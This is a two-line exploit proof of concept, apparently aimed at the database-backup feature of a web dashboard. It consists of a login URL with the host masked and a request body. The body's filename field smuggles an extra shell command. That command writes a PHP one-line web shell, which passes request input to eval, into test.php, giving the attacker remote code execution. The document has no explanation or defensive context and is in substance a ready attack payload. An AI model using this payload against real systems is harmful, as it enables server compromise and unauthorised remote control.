http://xxx.xxx.xxx.xxx/?r=dashboard/default/login
backuptype=all&custom_enabled=1&method=shell&sizelimit=2048&extendins=0&sqlcompat=MYSQL41&sqlcharset=utf8&usehex=0&usezip=0&filename=peiqi%26echo "<?php eval($_REQUEST[test]);?>">test%PATHEXT:~0,1%php%26test&dbSubmit=1